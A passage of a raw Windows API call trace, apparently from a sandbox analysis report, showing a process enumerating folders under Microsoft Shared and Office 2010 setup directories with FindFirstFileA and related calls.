cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0034.058] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7495be0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7495be0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.058] AreFileApisANSI () returned 1 [0034.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0034.061] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7495be0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7495be0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.061] AreFileApisANSI () returned 1 [0034.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0034.063] GetFileType (hFile=0xc4) returned 0x1 [0034.064] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb7495be0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7495be0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.064] AreFileApisANSI () returned 1 [0034.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0034.067] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7495be0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7495be0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.068] AreFileApisANSI () returned 1 [0034.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 117 [0034.071] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb74bbd40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74bbd40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.072] AreFileApisANSI () returned 1 [0034.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 116 [0034.072] GetFileType (hFile=0x13c) returned 0x1 [0034.073] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb74bbd40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74bbd40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.074] AreFileApisANSI () returned 1 [0034.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 117 [0034.077] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb74bbd40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74bbd40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.078] AreFileApisANSI () returned 1 [0034.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 119 [0034.080] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb74bbd40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74bbd40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.081] AreFileApisANSI () returned 1 [0034.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 117 [0034.084] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb74bbd40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74bbd40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.084] AreFileApisANSI () returned 1 [0034.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 119 [0034.088] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb74e1ea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74e1ea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.088] AreFileApisANSI () returned 1 [0034.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 116 [0034.089] GetFileType (hFile=0x13c) returned 0x1 [0034.090] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb74e1ea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74e1ea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.090] AreFileApisANSI () returned 1 [0034.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 118 [0034.093] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb74e1ea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74e1ea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.093] AreFileApisANSI () returned 1 [0034.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 118 [0034.097] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb74e1ea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74e1ea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.097] AreFileApisANSI () returned 1 [0034.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x819f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 121 [0034.101] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb74e1ea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74e1ea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.101] AreFileApisANSI () returned 1 [0034.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0034.104] GetFileType (hFile=0x13c) returned 0x1 [0034.105] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xb7508000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7508000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.105] AreFileApisANSI () returned 1 [0034.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 118 [0034.108] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xb7508000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7508000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.108] AreFileApisANSI () returned 1 [0034.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 113 [0034.109] GetFileType (hFile=0x13c) returned 0x1 [0034.110] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7508000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7508000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.110] AreFileApisANSI () returned 1 [0034.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 113 [0034.111] GetFileType (hFile=0x13c) returned 0x1 [0034.112] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7508000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7508000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.112] AreFileApisANSI () returned 1 [0034.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 113 [0034.114] GetFileType (hFile=0x13c) returned 0x1 [0034.115] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7508000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7508000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.115] AreFileApisANSI () returned 1 [0034.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 119 [0034.115] GetFileType (hFile=0x13c) returned 0x1 [0034.116] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb752e160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb752e160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.117] AreFileApisANSI () returned 1 [0034.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 113 [0034.117] GetFileType (hFile=0x13c) returned 0x1 [0034.118] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb752e160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb752e160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.119] AreFileApisANSI () returned 1 [0034.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x819f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 120 [0034.122] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb752e160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb752e160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.122] AreFileApisANSI () returned 1 [0034.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 116 [0034.124] GetFileType (hFile=0x13c) returned 0x1 [0034.125] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb752e160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb752e160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.125] AreFileApisANSI () returned 1 [0034.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 111 [0034.126] GetFileType (hFile=0x13c) returned 0x1 [0034.127] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb752e160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb752e160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.128] AreFileApisANSI () returned 1 [0034.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 115 [0034.130] GetFileType (hFile=0x13c) returned 0x1 [0034.131] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb752e160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb752e160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.132] AreFileApisANSI () returned 1 [0034.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0034.134] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75542c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75542c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.134] AreFileApisANSI () returned 1 [0034.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0034.135] GetFileType (hFile=0xc8) returned 0x1 [0034.136] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75542c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75542c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.136] AreFileApisANSI () returned 1 [0034.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.141] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb75542c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75542c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.142] AreFileApisANSI () returned 1 [0034.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0034.142] GetFileType (hFile=0xc4) returned 0x1 [0034.144] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb75542c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75542c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.144] AreFileApisANSI () returned 1 [0034.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0034.145] GetFileType (hFile=0xc4) returned 0x1 [0034.146] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb75542c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75542c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.146] AreFileApisANSI () returned 1 [0034.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 92 [0034.149] FindFirstFileA (in: lpFileName="C:\\\\Program 